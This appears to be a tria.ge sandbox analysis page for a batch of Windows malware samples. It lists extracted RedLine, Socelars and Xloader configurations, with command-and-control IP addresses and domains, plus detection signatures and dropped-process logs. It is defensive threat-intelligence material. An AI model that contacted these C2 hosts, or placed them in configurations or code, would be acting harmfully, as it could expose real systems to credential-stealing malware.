Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows11_x64
10022e3c30a1...66.exe
windows10_x64
1022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows11_x64
104d27dca0a1...ef.exe
windows10_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows11_x64
10578a3a7a2b...b3.exe
windows10_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows11_x64
109c4880a98c...82.exe
windows10_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows11_x64
10a1dad4a83d...c4.exe
windows10_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows11_x64
10acf1b7d80f...e0.exe
windows10_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows11_x64
10cbf31d825a...d2.exe
windows10_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows11_x64
10db76a117db...12.exe
windows10_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows11_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows11_x64
10f2196668f4...cb.exe
windows10_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
97s -
max time network
1167s -
platform
windows11_x64 -
resource
win11 -
submitted
08/11/2021, 16:12
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win11
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-de-20211014
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win11
Behavioral task
behavioral5
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral6
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-de-20211014
Behavioral task
behavioral7
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win11
Behavioral task
behavioral8
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211014
Behavioral task
behavioral9
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-de-20211014
Behavioral task
behavioral10
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win11
Behavioral task
behavioral11
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral12
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-de-20211014
Behavioral task
behavioral13
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win11
Behavioral task
behavioral14
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-de-20211104
Behavioral task
behavioral16
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win11
Behavioral task
behavioral17
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral18
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-de-20211104
Behavioral task
behavioral19
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win11
Behavioral task
behavioral20
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211104
Behavioral task
behavioral21
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-de-20211104
Behavioral task
behavioral22
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win11
Behavioral task
behavioral23
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211104
Behavioral task
behavioral24
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-de-20211104
Behavioral task
behavioral25
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win11
Behavioral task
behavioral26
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211104
Behavioral task
behavioral27
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-de-20211104
Behavioral task
behavioral28
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win11
Behavioral task
behavioral29
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
Behavioral task
behavioral30
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-de-20211104
General
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
redline
ChrisNEW
194.104.136.5:46013
Extracted
redline
media25
91.121.67.60:23325
Extracted
xloader
2.5
s0iw
http://www.kyiejenner.com/s0iw/
ortopediamodelo.com
orimshirts.store
universecatholicweekly.info
yvettechan.com
sersaudavelsempre.online
face-booking.net
europeanretailgroup.com
umofan.com
roemahbajumuslim.online
joyrosecuisine.net
3dmaker.house
megdb.xyz
stereoshopie.info
gv5rm.com
tdc-trust.com
mcglobal.club
choral.works
onlineconsultantgroup.com
friscopaintandbody.com
midwestii.com
weespiel.com
babyshell.be
gwynora.com
talkthered.com
f-punk.com
frankmatlock.com
clique-solicite.net
clientloyaltysystem.com
worldbyduco.com
kampfsport-erfurt.com
adndpanel.xyz
rocknfamily.net
ambr-creative.com
wwwks8829.com
thuexegiarehcmgoviet.com
brentmurrell.art
wolf-yachts.com
tenpobiz.com
binnamall.com
crestamarti.quest
terry-hitchcock.com
ocreverseteam.com
taxwarehouse2.xyz
megawholesalesystem.com
epstein-advisory.com
enewlaunches.com
iphone13.community
pianostands.com
newspaper.clinic
alamdave.com
costalitaestepona2d.com
arbacan.com
horikoshi-online-tutoring.net
missingthered.com
ecmcenterprises.com
giaohangtietkiemhcm.com
universidademackenzie.com
kveupcsmimli.mobi
ibellex.com
ikigaiofficial.store
jerseyboysnorfolk.com
xiamensaikang.com
lmnsky.com
bra866.com
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
resource yara_rule behavioral19/memory/5204-315-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral19/memory/5204-313-0x0000000000000000-mapping.dmp family_redline behavioral19/memory/5188-311-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral19/memory/5188-310-0x0000000000000000-mapping.dmp family_redline -
Socelars Payload 2 IoCs
resource yara_rule behavioral19/files/0x000100000002b1cd-219.dat family_socelars behavioral19/files/0x000100000002b1cd-245.dat family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 8 IoCs
description pid Process procid_target PID 1488 created 1080 1488 WerFault.exe 80 PID 5436 created 5188 5436 WerFault.exe 128 PID 3952 created 4352 3952 Yz2QhNybWM57ajoxzA0zSeYd.exe 96 PID 1920 created 4588 1920 WerFault.exe 116 PID 4656 created 5044 4656 WerFault.exe 122 PID 5400 created 5128 5400 WerFault.exe 143 PID 5856 created 6128 5856 WerFault.exe 140 PID 3424 created 1096 3424 WerFault.exe 107 -
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral19/memory/3952-447-0x0000000002240000-0x0000000002315000-memory.dmp family_vidar -
Xloader Payload 1 IoCs
resource yara_rule behavioral19/memory/1456-407-0x0000000000F10000-0x0000000000F39000-memory.dmp xloader -
resource yara_rule behavioral19/files/0x000200000002b1ac-157.dat aspack_v212_v242 behavioral19/files/0x000100000002b1bd-156.dat aspack_v212_v242 behavioral19/files/0x000100000002b1bf-162.dat aspack_v212_v242 behavioral19/files/0x000200000002b1ac-158.dat aspack_v212_v242 behavioral19/files/0x000100000002b1bd-154.dat aspack_v212_v242 behavioral19/files/0x000200000002b1ac-155.dat aspack_v212_v242 behavioral19/files/0x000100000002b1bf-160.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 33 IoCs
pid Process 4008 setup_installer.exe 1080 setup_install.exe 4352 Tue0133c29150b.exe 4784 Tue01d702368dbba.exe 4512 Tue017abac33187.exe 1892 Tue01994ec7a792fea9.exe 3260 Tue010769fc7f9829.exe 4028 Tue01c451610f4a.exe 5044 Tue01bba8b80fa4.exe 4664 Tue018bc5c5a0a3d4.exe 1232 Tue018f791563585c0f9.exe 4588 Tue01bf08f313b912.exe 4528 Tue01de2411919659f09.exe 3276 Tue0195119235.exe 3864 Tue0105f10596.exe 3472 Tue01e8898e0d1fce4.exe 1096 Tue0138d4026db6d813e.exe 4552 Tue0121ab289cd9a.exe 2296 Conhost.exe 2936 Tue01d702368dbba.exe 5168 Tue01d702368dbba.tmp 5228 Tue0195119235.exe 5188 Tue01de2411919659f09.exe 5204 Tue017abac33187.exe 5656 msd56LegiJcpSW5Qshcgps2a.exe 5912 GhXkKMW.EXe 5920 run.exe 5952 run2.exe 6096 cGRxPW4fmZTC8sVr_TJdyu1d.exe 6128 eeqz_unejFCeAU0KaIsRC7SI.exe 5128 PqKRE3hL8vp0kr_sy1mJeWdP.exe 5000 lBcUZ1CkjIsRxo2q0wHsg_kl.exe 3952 Yz2QhNybWM57ajoxzA0zSeYd.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion lBcUZ1CkjIsRxo2q0wHsg_kl.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion lBcUZ1CkjIsRxo2q0wHsg_kl.exe -
Loads dropped DLL 9 IoCs
pid Process 1080 setup_install.exe 1080 setup_install.exe 1080 setup_install.exe 1080 setup_install.exe 1080 setup_install.exe 1080 setup_install.exe 2296 Conhost.exe 5168 Tue01d702368dbba.tmp 3004 msiexec.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA lBcUZ1CkjIsRxo2q0wHsg_kl.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 37 ipinfo.io 117 ipinfo.io 177 ipinfo.io 185 ipinfo.io 194 ip-api.com 1 ip-api.com 1 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 5000 lBcUZ1CkjIsRxo2q0wHsg_kl.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4528 set thread context of 5188 4528 Tue01de2411919659f09.exe 128 PID 4512 set thread context of 5204 4512 Tue017abac33187.exe 127 PID 6096 set thread context of 3208 6096 cGRxPW4fmZTC8sVr_TJdyu1d.exe 39 -
autoit_exe 3 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral19/files/0x000100000002b1ce-240.dat autoit_exe behavioral19/files/0x000100000002b1ce-197.dat autoit_exe behavioral19/files/0x000100000002b1f8-345.dat autoit_exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 15 IoCs
pid pid_target Process procid_target 4408 1080 WerFault.exe 80 5548 5188 WerFault.exe 128 3764 4352 WerFault.exe 96 2556 4588 WerFault.exe 116 5664 5044 WerFault.exe 122 4028 5128 WerFault.exe 143 3032 6128 WerFault.exe 140 5680 1096 WerFault.exe 107 2848 3952 WerFault.exe 171 5612 5920 WerFault.exe 136 1876 5984 WerFault.exe 204 5460 4828 WerFault.exe 221 2904 1188 WerFault.exe 222 6040 1356 WerFault.exe 223 6580 6172 WerFault.exe 261 -
Checks processor information in registry 2 TTPs 56 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1840 schtasks.exe 1488 schtasks.exe -
Enumerates system info in registry 2 TTPs 17 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier chkdsk.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe -
Kills process with taskkill 1 IoCs
pid Process 6060 taskkill.exe -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2928 powershell.exe 2928 powershell.exe 2672 powershell.exe 2672 powershell.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 1232 Tue018f791563585c0f9.exe 